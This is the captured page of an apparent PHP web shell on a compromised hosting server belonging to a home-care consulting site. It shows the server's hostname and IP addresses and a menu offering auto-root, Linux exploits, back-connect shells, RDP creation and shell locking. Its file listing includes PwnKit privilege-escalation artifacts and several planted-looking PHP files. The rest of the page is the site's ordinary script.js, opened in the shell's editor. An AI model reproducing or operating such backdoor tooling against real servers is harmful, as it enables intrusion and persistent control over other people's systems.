Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.20
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
findoutologist.info /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
.well-known
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
ainyck1
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
bpmofsl
[ DIR ]
drwxr-xr-x
cyzgxtb
[ DIR ]
drwxr-xr-x
data
[ DIR ]
drwxr-xr-x
ha1rwbk
[ DIR ]
drwxr-xr-x
iozcvkx
[ DIR ]
drwxr-xr-x
jylgwon
[ DIR ]
drwxr-xr-x
lfmwoqs
[ DIR ]
drwxr-xr-x
logs
[ DIR ]
drwxr-xr-x
mfjznex
[ DIR ]
drwxr-xr-x
product-images
[ DIR ]
drwxr-xr-x
uploads
[ DIR ]
drwxr-xr-x
wp-admin
[ DIR ]
drwxr-xr-x
wp-content
[ DIR ]
drwxr-xr-x
wp-includes
[ DIR ]
drwxr-xr-x
.htaccess
204
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
about.html
23.03
KB
-rw-rw-rw-
accreditation.html
24.53
KB
-rw-rw-rw-
blog-detail.html
7.99
KB
-rw-rw-rw-
blogs.html
11.56
KB
-rw-rw-rw-
coaching-programs.html
17.96
KB
-rw-rw-rw-
contact.html
15.35
KB
-rw-rw-rw-
content-data.js
9.02
KB
-rw-rw-rw-
e counts
11.92
KB
-rw-r--r--
ecosystem.config.cjs
252
B
-rw-r--r--
error_log
1.16
MB
-rw-r--r--
goat1.php
143.87
KB
-rw-r--r--
index.php
13.35
KB
-r--r--r--
license-sojh.php
629
B
-rw-r--r--
licensing-startup.html
21.06
KB
-rw-rw-rw-
lock.php
1.93
KB
-rw-r--r--
networks.php
1.72
KB
-r--r--r--
order-complete.html
9.01
KB
-rw-rw-rw-
plugins.php
2
KB
-r--r--r--
policy-and-procedure-manuals.h...
21.38
KB
-rw-rw-rw-
product-detail.html
7.59
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rwxr-xr-x
robots.txt
396
B
-r--r--r--
script.js
63.02
KB
-rw-rw-rw-
server.js
81.02
KB
-rw-rw-rw-
server.log
90
B
-rw-rw-rw-
styles.css
149.64
KB
-rw-rw-rw-
training.html
23.03
KB
-rw-rw-rw-
txets.php
173.77
KB
-rw-r--r--
wp-conffg.php
132.17
KB
-rw-r--r--
wper.php
17.27
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : script.js
const header = document.querySelector("[data-header]"); const menuToggle = document.querySelector("[data-menu-toggle]"); const mobileMenu = document.querySelector("[data-mobile-menu]"); const mobileLinks = document.querySelectorAll(".mobile-nav a"); const leadForm = document.querySelector("[data-lead-form]"); const formStatus = document.querySelector("[data-form-status]"); const yearTarget = document.querySelector("[data-year]"); const roadmapSteps = document.querySelectorAll(".roadmap-step"); const roadmapProgress = document.querySelector("[data-roadmap-progress]"); const agencyStates = [ "Alabama", "Alaska", "Arizona", "Arkansas", "California", "Colorado", "Connecticut", "Delaware", "District of Columbia", "Florida", "Georgia", "Hawaii", "Idaho", "Illinois", "Indiana", "Iowa", "Kansas", "Kentucky", "Louisiana", "Maine", "Maryland", "Massachusetts", "Michigan", "Minnesota", "Mississippi", "Missouri", "Montana", "Nebraska", "Nevada", "New Hampshire", "New Jersey", "New Mexico", "New York", "North Carolina", "North Dakota", "Ohio", "Oklahoma", "Oregon", "Pennsylvania", "Rhode Island", "South Carolina", "South Dakota", "Tennessee", "Texas", "Utah", "Vermont", "Virginia", "Washington", "West Virginia", "Wisconsin", "Wyoming", ]; const catalogProducts = { "accreditation-coaching": { id: "accreditation-coaching", title: "Accreditation Coaching - CHAP and ACHC Made Simple", price: "$599", image: "assets/homepage-elders-photo.png", imageAlt: "Care support coaching preview", summary: "Guidance for preparing your agency for accreditation documentation and readiness steps.", description: "This coaching program helps you understand the CHAP and ACHC readiness process, organize documents, identify gaps, and prepare your agency for accreditation review with a clearer action plan.", includes: [ "Accreditation readiness checklist", "Documentation planning support", "Survey preparation guidance", "Owner follow-up notes and action priorities", ], }, "business-growth-coaching": { id: "business-growth-coaching", title: "Business Growth Coaching for Home Care Owners", price: "$1,200", image: "assets/homepage-third.png", imageAlt: "Business growth coaching preview", summary: "A growth planning package for owners who want stronger operations, referrals, and staffing systems.", description: "Build a focused growth plan for referral outreach, caregiver hiring, operations follow-through, and weekly owner accountability so your agency can move with less guesswork.", includes: [ "Marketing and referral action plan", "Staffing and onboarding strategy review", "Owner accountability session", "Growth priorities checklist", ], }, "pas-policy-package": { id: "pas-policy-package", title: "PAS Home Care Policies Complete Package", price: "$899", icon: "folder-check", summary: "A policy package preview for downloadable manuals and agency documents.", description: "Review a complete PAS home care policy package designed to help your agency organize compliant policies, forms, and operating documents for launch preparation.", includes: [ "Policy manual structure", "Compliance document planning", "Editable forms outline", "Agency document organization guidance", ], }, "startup-setup-bundle": { id: "startup-setup-bundle", title: "Home Care Startup Setup Bundle", price: "$1,500", image: "assets/homepagebg.png", imageAlt: "Startup setup package preview", summary: "A founder bundle for organizing the launch process from idea to opening.", description: "Use this bundle to map the launch order, licensing task list, operational setup needs, and early business foundations for a new home care agency.", includes: [ "Startup launch roadmap", "Licensing task list", "Operations launch checklist", "Founder preparation priorities", ], }, "licensing-application-review": { id: "licensing-application-review", title: "Licensing Application Review", price: "$350", image: "assets/homepage-elders-photo.png", imageAlt: "Licensing application review preview", summary: "A focused review option for checking application readiness before submission support.", description: "Get a practical readiness review of your licensing application materials, missing items, and follow-up priorities before you move to the next step.", includes: [ "Application readiness checklist", "Missing item review", "Founder follow-up notes", "State-specific next-step planning", ], }, "operations-building-system": { id: "operations-building-system", title: "Operations Building System", price: "$750", icon: "wrench", summary: "Templates, dashboards, and internal systems for agency operations planning.", description: "Plan the operating systems your agency needs after launch, including workflows, task ownership, dashboard priorities, and internal routines.", includes: [ "Workflow template planning", "Dashboard setup outline", "Operations priority map", "Internal systems checklist", ], }, }; const blogArticles = { "license-preparation": { slug: "license-preparation", category: "Licensing", icon: "clipboard-check", image: "assets/homepage-elders-photo.png", imageAlt: "Care professional helping an older client", title: "What to prepare before applying for a home care license", excerpt: "A simple checklist for founders organizing documents, business details, policies, and early operations.", readTime: "6 min read", published: "Startup checklist", bodyTitle: "Build the license file before pressure starts", sidebar: "A clean licensing file makes conversations with your state office, consultant, and future team easier to manage.", ctaText: "Discuss your license path", ctaHref: "contact.html", related: ["policy-manuals-operating-tools", "training-topics", "survey-readiness"], body: [ { type: "p", text: "Before you apply for a home care license, organize the materials that explain who owns the agency, what services you plan to offer, where you will operate, and how the agency will supervise care.", }, { type: "heading", text: "Start with a licensing folder", }, { type: "list", items: [ "Business registration, ownership information, and contact details", "Service area, service types, and startup timeline", "Draft policies for intake, care planning, records, supervision, and complaints", "Training and orientation topics for the owner, supervisor, and care team", "A running list of state questions, missing items, and submission dates", ], }, { type: "heading", text: "Connect paperwork to operations", }, { type: "p", text: "Licensing is not only a paperwork task. Every document should connect to how the agency will answer calls, accept clients, document care, protect privacy, train staff, and review quality after opening.", }, { type: "p", text: "When the documents and the daily workflow match, the application is easier to explain and your first weeks after approval feel less chaotic.", }, ], }, "policy-manuals-operating-tools": { slug: "policy-manuals-operating-tools", category: "Policy Manuals", icon: "folder-check", title: "How policy manuals become daily operating tools", excerpt: "Build manuals that help staff understand intake, records, privacy, supervision, and quality routines.", readTime: "5 min read", published: "Operations guide", bodyTitle: "Turn manuals into useful work instructions", sidebar: "Use policies as a practical operating map, not a document that sits untouched after launch.", ctaText: "Explore policy manuals", ctaHref: "policy-and-procedure-manuals.html", related: ["license-preparation", "survey-readiness", "training-topics"], body: [ { type: "p", text: "A policy manual is strongest when it helps the team understand what to do, who is responsible, and where the proof of follow-through belongs.", }, { type: "heading", text: "Write for the person using the policy", }, { type: "p", text: "The owner may need compliance language, but the daily user needs clear steps. Intake, client records, privacy, incident reporting, supervision, and quality checks should be easy to find and easy to follow.", }, { type: "list", items: [ "Use headings that match real agency workflows", "Keep forms and logs connected to the policy they support", "Assign ownership for review, updates, and staff communication", "Review policies during training instead of saving them for emergencies", ], }, { type: "heading", text: "Keep the manual alive", }, { type: "p", text: "A useful manual changes as the agency grows. Schedule routine reviews so policies stay aligned with the way clients are accepted, caregivers are supervised, and quality concerns are corrected.", }, ], }, "survey-readiness": { slug: "survey-readiness", category: "Accreditation", icon: "badge-check", title: "Survey readiness starts before the survey date", excerpt: "Organize evidence, staff files, training records, and leadership talking points before pressure rises.", readTime: "5 min read", published: "Readiness guide", bodyTitle: "Prepare evidence before the review window", sidebar: "Survey readiness is easier when documents, staff files, and leadership notes are reviewed before anyone is under pressure.", ctaText: "Prepare for review", ctaHref: "accreditation.html", related: ["policy-manuals-operating-tools", "training-topics", "license-preparation"], body: [ { type: "p", text: "Accreditation readiness is built through routine habits. Waiting until the survey date creates stress because the agency has to explain decisions, locate proof, and correct missing records at the same time.", }, { type: "heading", text: "Build a simple evidence map", }, { type: "list", items: [ "Staff files, credentials, orientation records, and annual training", "Client records, service plans, visit notes, and supervisory documentation", "Incident, complaint, and quality improvement follow-up", "Meeting notes, leadership review items, and corrective action tracking", ], }, { type: "heading", text: "Practice the story", }, { type: "p", text: "Leaders should be able to explain how the agency monitors safety, trains the team, corrects issues, and protects client information. The documents matter, but the story behind the documents matters too.", }, ], }, "training-topics": { slug: "training-topics", category: "Training", icon: "graduation-cap", title: "Training topics every new agency should document", excerpt: "Keep owner, supervisor, and care team training connected to the real tasks people perform each day.", readTime: "4 min read", published: "Training guide", bodyTitle: "Document training around real work", sidebar: "A simple training map helps the owner, supervisor, and care team understand what must be taught, repeated, and documented.", ctaText: "View training support", ctaHref: "training.html", related: ["license-preparation", "policy-manuals-operating-tools", "survey-readiness"], body: [ { type: "p", text: "New agencies need training records that show people were prepared for the work they are expected to perform. That includes more than a sign-in sheet.", }, { type: "heading", text: "Cover the core responsibilities", }, { type: "list", items: [ "Client rights, privacy, infection control, and emergency response", "Documentation expectations for visits, incidents, complaints, and changes in condition", "Supervision routines, escalation steps, and communication standards", "Agency-specific policies, service boundaries, and quality expectations", ], }, { type: "heading", text: "Make training easy to review", }, { type: "p", text: "Keep training topics, dates, attendees, materials, and follow-up needs in one place. When records are organized, the agency can show readiness and identify what needs to be refreshed.", }, ], }, "referral-growth-control": { slug: "referral-growth-control", category: "Growth", icon: "line-chart", image: "assets/homepage-third.png", imageAlt: "Agency growth planning conversation", title: "Building referrals without losing operational control", excerpt: "Grow with stronger intake, clearer follow-up, better caregiver readiness, and a visible owner scorecard.", readTime: "5 min read", published: "Growth guide", bodyTitle: "Grow only as fast as the operation can support", sidebar: "Referral growth works best when intake, staffing, follow-up, and owner review happen in the same rhythm.", ctaText: "Explore coaching", ctaHref: "coaching-programs.html", related: ["training-topics", "policy-manuals-operating-tools", "license-preparation"], body: [ { type: "p", text: "More referrals are helpful only when the agency can answer quickly, staff responsibly, document clearly, and follow up without losing quality.", }, { type: "heading", text: "Track the full referral path", }, { type: "list", items: [ "Where the referral came from and why the source trusted you", "How quickly the inquiry was answered and scheduled", "Whether caregiver availability matched the requested service", "What follow-up happened after the first conversation or first visit", ], }, { type: "heading", text: "Use an owner scorecard", }, { type: "p", text: "A simple weekly scorecard helps the owner see referral activity, pending starts, staffing gaps, documentation issues, and follow-up tasks before they become bigger problems.", }, ], }, }; const siteContent = window.SITE_CONTENT || {}; const publicSettings = siteContent.settings || {}; const normalizeContentList = (value) => { if (Array.isArray(value)) return value; if (value && typeof value === "object") return Object.values(value); return []; }; const siteEdits = normalizeContentList(siteContent.siteEdits).filter((edit) => edit && edit.selector); const currentSitePage = (window.location.pathname.split("/").pop() || "index.html").toLowerCase(); let siteEditTimer = 0; let isApplyingSiteEdits = false; const normalizeSiteEditPage = (value) => { const page = String(value || "all") .trim() .replace(/^\/+/, "") .toLowerCase(); return page && page !== "*" ? page : "all"; }; const siteEditAppliesToCurrentPage = (edit) => { const page = normalizeSiteEditPage(edit.page); return page === "all" || page === currentSitePage; }; const syncYearTargets = () => { const year = String(new Date().getFullYear()); document.querySelectorAll("[data-year]").forEach((target) => { if (target.textContent !== year) target.textContent = year; }); }; const setLucideIcon = (element, iconName) => { const nextIcon = String(iconName || "").trim(); if (!nextIcon) return false; if (element.tagName.toLowerCase() === "svg") { const icon = document.createElement("i"); icon.setAttribute("data-lucide", nextIcon); icon.setAttribute("aria-hidden", element.getAttribute("aria-hidden") || "true"); element.replaceWith(icon); return true; } if (element.getAttribute("data-lucide") === nextIcon) return false; element.setAttribute("data-lucide", nextIcon); element.innerHTML = ""; return true; }; const setSiteEditAttribute = (element, attribute, value) => { const name = String(attribute || "href").trim().toLowerCase(); if (!name || name.startsWith("on") || name === "srcdoc") return false; if (name === "data-lucide") return setLucideIcon(element, value); const nextValue = String(value ?? ""); if (element.getAttribute(name) === nextValue) return false; try { element.setAttribute(name, nextValue); } catch (error) { return false; } if (name === "href" && element.matches("[data-social-link]") && isSafeSocialUrl(nextValue)) { element.hidden = false; element.target = "_blank"; element.rel = "noopener noreferrer"; element.removeAttribute("aria-disabled"); element.closest("[data-contact-socials]")?.removeAttribute("hidden"); } return false; }; const applySiteEdits = () => { if (!siteEdits.length) return; isApplyingSiteEdits = true; let shouldHydrateIcons = false; try { siteEdits.filter(siteEditAppliesToCurrentPage).forEach((edit) => { let elements = []; try { elements = Array.from(document.querySelectorAll(edit.selector)); } catch (error) { return; } elements.forEach((element) => { const type = String(edit.type || "text").toLowerCase(); const nextValue = String(edit.value ?? ""); if (type === "attribute") { if (setSiteEditAttribute(element, edit.attribute, nextValue)) shouldHydrateIcons = true; return; } if (type === "html") { if (element.innerHTML !== nextValue) { element.innerHTML = nextValue; shouldHydrateIcons = true; } return; } if (element.textContent !== nextValue) element.textContent = nextValue; }); }); } finally { syncYearTargets(); isApplyingSiteEdits = false; } if (shouldHydrateIcons) hydrateIcons(); }; const scheduleSiteEdits = () => { if (!siteEdits.length) return; window.clearTimeout(siteEditTimer); siteEditTimer = window.setTimeout(applySiteEdits, 30); }; const applyManagedContent = () => { const managedProducts = normalizeContentList(siteContent.products).filter((product) => product && product.id); const managedBlogs = normalizeContentList(siteContent.blogs).filter((article) => article && article.slug); if (managedProducts.length) { if (siteContent.replaceDefaults) { Object.keys(catalogProducts).forEach((key) => delete catalogProducts[key]); } managedProducts.forEach((product) => { const images = Array.isArray(product.images) ? product.images.filter(Boolean) : product.image ? [product.image] : []; catalogProducts[product.id] = { ...product, image: product.image || images[0] || "", images, includes: Array.isArray(product.includes) ? product.includes : [], }; }); } if (managedBlogs.length) { if (siteContent.replaceDefaults) { Object.keys(blogArticles).forEach((key) => delete blogArticles[key]); } managedBlogs.forEach((article) => { const images = Array.isArray(article.images) ? article.images.filter(Boolean) : article.image ? [article.image] : []; blogArticles[article.slug] = { ...article, image: article.image || images[0] || "", images, related: Array.isArray(article.related) ? article.related : [], body: Array.isArray(article.body) ? article.body : [], }; }); } }; const isSafeSocialUrl = (value) => /^https?:\/\/[^\s<>"']+$/i.test(String(value || "").trim()); const applyContactSettings = () => { const socialLinks = publicSettings.contact?.socialLinks || {}; const socialSection = document.querySelector("[data-contact-socials]"); const socialAnchors = Array.from(document.querySelectorAll("[data-social-link]")); let visibleLinks = 0; socialAnchors.forEach((anchor) => { const key = anchor.getAttribute("data-social-link") || ""; const url = socialLinks[key] || ""; if (isSafeSocialUrl(url)) { anchor.href = url; anchor.target = "_blank"; anchor.rel = "noopener noreferrer"; anchor.hidden = false; anchor.removeAttribute("aria-disabled"); visibleLinks += 1; return; } anchor.removeAttribute("href"); anchor.removeAttribute("target"); anchor.removeAttribute("rel"); anchor.hidden = true; anchor.setAttribute("aria-disabled", "true"); }); if (socialSection) socialSection.hidden = visibleLinks === 0; }; applyManagedContent(); applyContactSettings(); document.documentElement.classList.add("js"); const hydrateIcons = () => { if (window.lucide) { window.lucide.createIcons({ attrs: { "aria-hidden": "true", }, }); } }; const setMenuIcon = (iconName) => { if (!menuToggle) return; const label = iconName === "x" ? "Close menu" : "Open menu"; menuToggle.innerHTML = `<span class="sr-only">${label}</span><i data-lucide="${iconName}" aria-hidden="true"></i>`; hydrateIcons(); }; const setHeaderState = () => { if (!header) return; header.classList.toggle("is-scrolled", window.scrollY > 10); }; const closeMobileMenu = () => { if (!menuToggle || !mobileMenu) return; menuToggle.setAttribute("aria-expanded", "false"); mobileMenu.classList.remove("is-open"); document.body.classList.remove("menu-open"); setMenuIcon("menu"); }; const toggleMobileMenu = () => { if (!menuToggle || !mobileMenu) return; const isOpen = menuToggle.getAttribute("aria-expanded") === "true"; menuToggle.setAttribute("aria-expanded", String(!isOpen)); mobileMenu.classList.toggle("is-open", !isOpen); document.body.classList.toggle("menu-open", !isOpen); setMenuIcon(isOpen ? "menu" : "x"); }; document.querySelectorAll(".media-frame img").forEach((image) => { image.addEventListener("error", () => { image.closest(".media-frame")?.classList.add("is-fallback"); }); }); if (menuToggle) { menuToggle.addEventListener("click", toggleMobileMenu); } mobileLinks.forEach((link) => { link.addEventListener("click", closeMobileMenu); }); window.addEventListener("scroll", setHeaderState, { passive: true }); setHeaderState(); window.addEventListener("resize", () => { if (window.innerWidth > 1160) closeMobileMenu(); }); document.addEventListener("keydown", (event) => { if (event.key === "Escape") closeMobileMenu(); }); const postJson = async (url, payload) => { const response = await fetch(url, { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify(payload), }); const data = await response.json().catch(() => ({})); if (!response.ok) { const error = new Error(data.error || `Request failed with HTTP ${response.status}`); error.status = response.status; throw error; } return data; }; const showFormStatus = (target, message, type = "success") => { if (!target) return; target.textContent = message; target.classList.add("is-visible"); target.classList.toggle("is-error", type === "error"); target.classList.toggle("is-success", type === "success"); }; if (leadForm && formStatus) { leadForm.addEventListener("submit", async (event) => { event.preventDefault(); if (!leadForm.checkValidity()) { leadForm.reportValidity(); return; } showFormStatus(formStatus, "Sending your message..."); try { const payload = Object.fromEntries(new FormData(leadForm).entries()); await postJson("/api/contact", payload); showFormStatus(formStatus, "Thank you. Your message was received. Our team will follow up soon."); leadForm.reset(); } catch (error) { showFormStatus(formStatus, "The message could not be sent. Please make sure the Node server is running.", "error"); } }); } syncYearTargets(); const productList = Object.values(catalogProducts); const fallbackProduct = { id: "product", title: "Product details unavailable", price: "$0", icon: "package", summary: "No published products are available yet.", description: "Please check back soon.", includes: [], }; const getProductById = (productId) => catalogProducts[productId] || productList[0] || fallbackProduct; const blogArticleList = Object.values(blogArticles); const fallbackArticle = { slug: "article", title: "Blog article unavailable", category: "Blog", icon: "newspaper", excerpt: "No published blog articles are available yet.", readTime: "0 min read", published: "Blog", bodyTitle: "Article unavailable", sidebar: "Please check back soon.", ctaText: "Contact us", ctaHref: "contact.html", related: [], body: [{ type: "p", text: "Please check back soon." }], }; const getBlogArticleBySlug = (slug) => blogArticles[slug] || blogArticleList[0] || fallbackArticle; const buildBlogUrl = (slug) => `blog-detail.html?${new URLSearchParams({ article: slug }).toString()}`; const escapeHtml = (value) => String(value ?? "") .replaceAll("&", "&") .replaceAll("<", "<") .replaceAll(">", ">") .replaceAll('"', """) .replaceAll("'", "'"); const renderProductCatalog = () => { const grid = document.querySelector("[data-product-grid]"); if (!grid) return; if (!productList.length) { grid.innerHTML = ` <article class="product-card"> <span class="icon-box"><i data-lucide="package"></i></span> <h3>No products published yet</h3> <p>Published products will appear here soon.</p> </article> `; return; } grid.innerHTML = productList .map((product) => { const includes = (product.includes || []).slice(0, 3); const media = product.image ? `<figure class="product-card-media"><img src="${escapeHtml(product.image)}" alt="${escapeHtml( product.imageAlt || product.title )}" loading="lazy" /></figure>` : `<figure class="product-card-media product-card-placeholder"><i data-lucide="${escapeHtml( product.icon || "package" )}"></i></figure>`; return ` <a class="product-card product-card-link" href="${buildProductUrl("product-detail.html", product.id)}" aria-label="View details for ${escapeHtml( product.title )}"> ${media} <div class="product-card-top"> <span class="icon-box"><i data-lucide="${escapeHtml(product.icon || "package")}"></i></span> <span class="product-price">${escapeHtml(product.price)}</span> </div> <h3>${escapeHtml(product.title)}</h3> <p>${escapeHtml(product.summary || "")}</p> <ul> ${includes.map((item) => `<li>${escapeHtml(item)}</li>`).join("")} </ul> <span class="button button-primary">View details</span> </a> `; }) .join(""); }; const renderBlogCatalog = () => { const grid = document.querySelector("[data-blog-grid]"); if (!grid) return; if (!blogArticleList.length) { grid.innerHTML = ` <article class="blog-card"> <span class="blog-icon"><i data-lucide="newspaper"></i></span> <span class="blog-category">Blog</span> <h3>No blog articles published yet</h3> <p>Published articles will appear here soon.</p> </article> `; return; } grid.innerHTML = blogArticleList .map((article, index) => { const isFeatured = index === 0; const media = article.image ? `<figure class="blog-card-media"><img src="${escapeHtml(article.image)}" alt="${escapeHtml( article.imageAlt || article.title )}" loading="lazy" /></figure>` : `<span class="blog-icon"><i data-lucide="${escapeHtml(article.icon || "newspaper")}"></i></span>`; return ` <a class="blog-card ${isFeatured ? "blog-card-featured" : ""}" href="${buildBlogUrl( article.slug )}" aria-label="Read ${escapeHtml(article.title)}"> ${media} <div class="${isFeatured ? "blog-card-body" : ""}"> <span class="blog-category">${escapeHtml(article.category)}</span> <h3>${escapeHtml(article.title)}</h3> <p>${escapeHtml(article.excerpt || "")}</p> <span class="text-link">Read full article</span> </div> </a> `; }) .join(""); }; const renderAgencyStateOptions = (select, selectedState = "") => { if (!select) return; select.innerHTML = '<option value="">Select Your Agency State</option>'; agencyStates.forEach((state) => { const option = document.createElement("option"); option.value = state; option.textContent = state; option.selected = state === selectedState; select.append(option); }); }; const buildProductUrl = (page, productId, state = "") => { const params = new URLSearchParams({ product: productId }); if (state) { params.set("state", state); } return `${page}?${params.toString()}`; }; const getProductPriceValue = (product) => Number((product.price || "0").replace(/[^0-9.]/g, "")) || 0; const formatMoney = (value) => new Intl.NumberFormat("en-US", { style: "currency", currency: "USD", maximumFractionDigits: 0, }).format(value); const getBillingProductIds = (params) => { const requestedIds = (params.get("products") || params.get("product") || "") .split(",") .map((item) => item.trim()) .filter((item) => Boolean(catalogProducts[item])); return requestedIds.length ? Array.from(new Set(requestedIds)) : [productList[0]?.id || fallbackProduct.id]; }; const buildBillingUrl = (productIds, state = "") => { const params = new URLSearchParams(); const cleanIds = Array.from(new Set(productIds.filter((item) => Boolean(catalogProducts[item])))); params.set("products", (cleanIds.length ? cleanIds : [productList[0]?.id || fallbackProduct.id]).join(",")); if (state) { params.set("state", state); } return `billing.html?${params.toString()}`; }; const buildOrderCompleteUrl = (orderId, sessionId = "", status = "success") => { const params = new URLSearchParams(); if (orderId) params.set("order", orderId); if (status) params.set("status", status); if (sessionId) params.set("session_id", sessionId); return `order-complete.html?${params.toString()}`; }; const formatDisplayDate = (value) => { if (!value) return "Today"; const date = new Date(value); if (Number.isNaN(date.getTime())) return "Today"; return new Intl.DateTimeFormat("en-US", { month: "long", day: "numeric", year: "numeric", }).format(date); }; const renderImageGallery = (media, image, images = [], altBase = "Image") => { if (!media || !image || images.length <= 1) return; const gallery = document.createElement("div"); gallery.className = "product-detail-gallery"; images.forEach((src, index) => { const button = document.createElement("button"); button.type = "button"; button.setAttribute("aria-label", `View ${altBase} image ${index + 1}`); button.className = index === 0 ? "is-active" : ""; button.innerHTML = `<img src="${escapeHtml(src)}" alt="${escapeHtml(`${altBase} thumbnail ${index + 1}`)}" loading="lazy" />`; button.addEventListener("click", () => { image.src = src; gallery.querySelectorAll("button").forEach((item) => item.classList.toggle("is-active", item === button)); }); gallery.append(button); }); media.after(gallery); }; renderProductCatalog(); renderBlogCatalog(); const productDetailPage = document.querySelector("[data-product-detail]"); if (productDetailPage) { const params = new URLSearchParams(window.location.search); const product = getProductById(params.get("product") || ""); const title = productDetailPage.querySelector("[data-product-title]"); const summary = productDetailPage.querySelector("[data-product-summary]"); const price = productDetailPage.querySelector("[data-product-price]"); const description = productDetailPage.querySelector("[data-product-description]"); const includes = productDetailPage.querySelector("[data-product-includes]"); const media = productDetailPage.querySelector("[data-product-media]"); const image = productDetailPage.querySelector("[data-product-image]"); const stateSelect = productDetailPage.querySelector("[data-product-state]"); const purchaseForm = productDetailPage.querySelector("[data-product-purchase-form]"); document.title = `${product.title} | Findoutologist`; if (title) title.textContent = product.title; if (summary) summary.textContent = product.summary; if (price) price.textContent = product.price; if (description) description.textContent = product.description; if (includes) { includes.innerHTML = ""; product.includes.forEach((item) => { const listItem = document.createElement("li"); listItem.textContent = item; includes.append(listItem); }); } if (media && image) { const productImages = Array.isArray(product.images) && product.images.length ? product.images : product.image ? [product.image] : []; if (productImages.length) { image.src = productImages[0]; image.alt = product.imageAlt || product.title; renderImageGallery(media, image, productImages, product.title); } else { media.classList.add("product-detail-placeholder"); media.innerHTML = `<i data-lucide="${product.icon || "package"}"></i>`; hydrateIcons(); } } renderAgencyStateOptions(stateSelect, params.get("state") || ""); if (purchaseForm && stateSelect) { purchaseForm.addEventListener("submit", (event) => { event.preventDefault(); if (!purchaseForm.checkValidity()) { purchaseForm.reportValidity(); return; } window.location.href = buildProductUrl("billing.html", product.id, stateSelect.value); }); } } const blogDetailPage = document.querySelector("[data-blog-detail]"); if (blogDetailPage) { const params = new URLSearchParams(window.location.search); const article = getBlogArticleBySlug(params.get("article") || ""); const category = blogDetailPage.querySelector("[data-blog-category]"); const title = blogDetailPage.querySelector("[data-blog-title]"); const excerpt = blogDetailPage.querySelector("[data-blog-excerpt]"); const date = blogDetailPage.querySelector("[data-blog-date]"); const readTime = blogDetailPage.querySelector("[data-blog-read-time]"); const bodyTitle = blogDetailPage.querySelector("[data-blog-body-title]"); const content = blogDetailPage.querySelector("[data-blog-content]"); const sidebar = blogDetailPage.querySelector("[data-blog-sidebar]"); const sidebarIcon = blogDetailPage.querySelector("[data-blog-sidebar-icon]"); const cta = blogDetailPage.querySelector("[data-blog-cta]"); const media = blogDetailPage.querySelector("[data-blog-media]"); const image = blogDetailPage.querySelector("[data-blog-image]"); const relatedTarget = blogDetailPage.querySelector("[data-related-blogs]"); document.title = `${article.title} | Findoutologist`; if (category) category.textContent = article.category; if (title) title.textContent = article.title; if (excerpt) excerpt.textContent = article.excerpt; if (date) date.textContent = article.published; if (readTime) readTime.textContent = article.readTime; if (bodyTitle) bodyTitle.textContent = article.bodyTitle; if (sidebar) sidebar.textContent = article.sidebar; if (sidebarIcon) { sidebarIcon.setAttribute("data-lucide", article.icon || "book-open"); } if (cta) { cta.textContent = article.ctaText; cta.href = article.ctaHref; } if (media && image) { if (article.image) { image.src = article.image; image.alt = article.imageAlt || article.title; } else { media.classList.add("blog-detail-placeholder"); media.innerHTML = `<i data-lucide="${article.icon || "newspaper"}"></i>`; } } if (content) { content.innerHTML = ""; article.body.forEach((block) => { if (block.type === "heading") { const heading = document.createElement("h2"); heading.textContent = block.text; content.append(heading); return; } if (block.type === "list") { const list = document.createElement("ul"); block.items.forEach((item) => { const listItem = document.createElement("li"); listItem.textContent = item; list.append(listItem); }); content.append(list); return; } if (block.type === "image" && block.src) { const figure = document.createElement("figure"); figure.className = "blog-article-image"; const blockImage = document.createElement("img"); blockImage.src = block.src; blockImage.alt = block.alt || article.title; blockImage.loading = "lazy"; figure.append(blockImage); if (block.caption) { const caption = document.createElement("figcaption"); caption.textContent = block.caption; figure.append(caption); } content.append(figure); return; } const paragraph = document.createElement("p"); paragraph.textContent = block.text; content.append(paragraph); }); } if (relatedTarget) { const relatedArticles = []; const addRelatedArticle = (slug) => { const relatedArticle = blogArticles[slug]; if (!relatedArticle || relatedArticle.slug === article.slug || relatedArticles.includes(relatedArticle)) return; relatedArticles.push(relatedArticle); }; article.related.forEach(addRelatedArticle); blogArticleList.forEach((item) => addRelatedArticle(item.slug)); relatedTarget.innerHTML = ""; relatedArticles.slice(0, 3).forEach((relatedArticle) => { const card = document.createElement("a"); card.className = "blog-card related-blog-card"; card.href = buildBlogUrl(relatedArticle.slug); card.setAttribute("aria-label", `Read ${relatedArticle.title}`); card.innerHTML = ` <span class="blog-icon"><i data-lucide="${relatedArticle.icon || "newspaper"}"></i></span> <span class="blog-category">${relatedArticle.category}</span> <h3>${relatedArticle.title}</h3> <p>${relatedArticle.excerpt}</p> <span class="text-link">Read related article</span> `; relatedTarget.append(card); }); } hydrateIcons(); } const orderCompletePage = document.querySelector("[data-order-complete-page]"); if (orderCompletePage) { const params = new URLSearchParams(window.location.search); const orderId = params.get("order") || ""; const sessionId = params.get("session_id") || ""; const returnStatus = params.get("status") || ""; const eyebrowTarget = orderCompletePage.querySelector("[data-complete-eyebrow]"); const titleTarget = orderCompletePage.querySelector("[data-complete-title]"); const messageTarget = orderCompletePage.querySelector("[data-complete-message]"); const statusTarget = orderCompletePage.querySelector("[data-complete-status]"); const orderIdTarget = orderCompletePage.querySelector("[data-complete-order-id]"); const dateTarget = orderCompletePage.querySelector("[data-complete-date]"); const totalTarget = orderCompletePage.querySelector("[data-complete-total]"); const stateTarget = orderCompletePage.querySelector("[data-complete-state]"); const itemsTarget = orderCompletePage.querySelector("[data-complete-items]"); const invoiceLink = orderCompletePage.querySelector("[data-complete-invoice]"); const contactTarget = orderCompletePage.querySelector("[data-complete-contact]"); const setCompleteState = (state, title, message, eyebrow = "") => { orderCompletePage.classList.remove("is-loading", "is-paid", "is-processing", "is-error"); 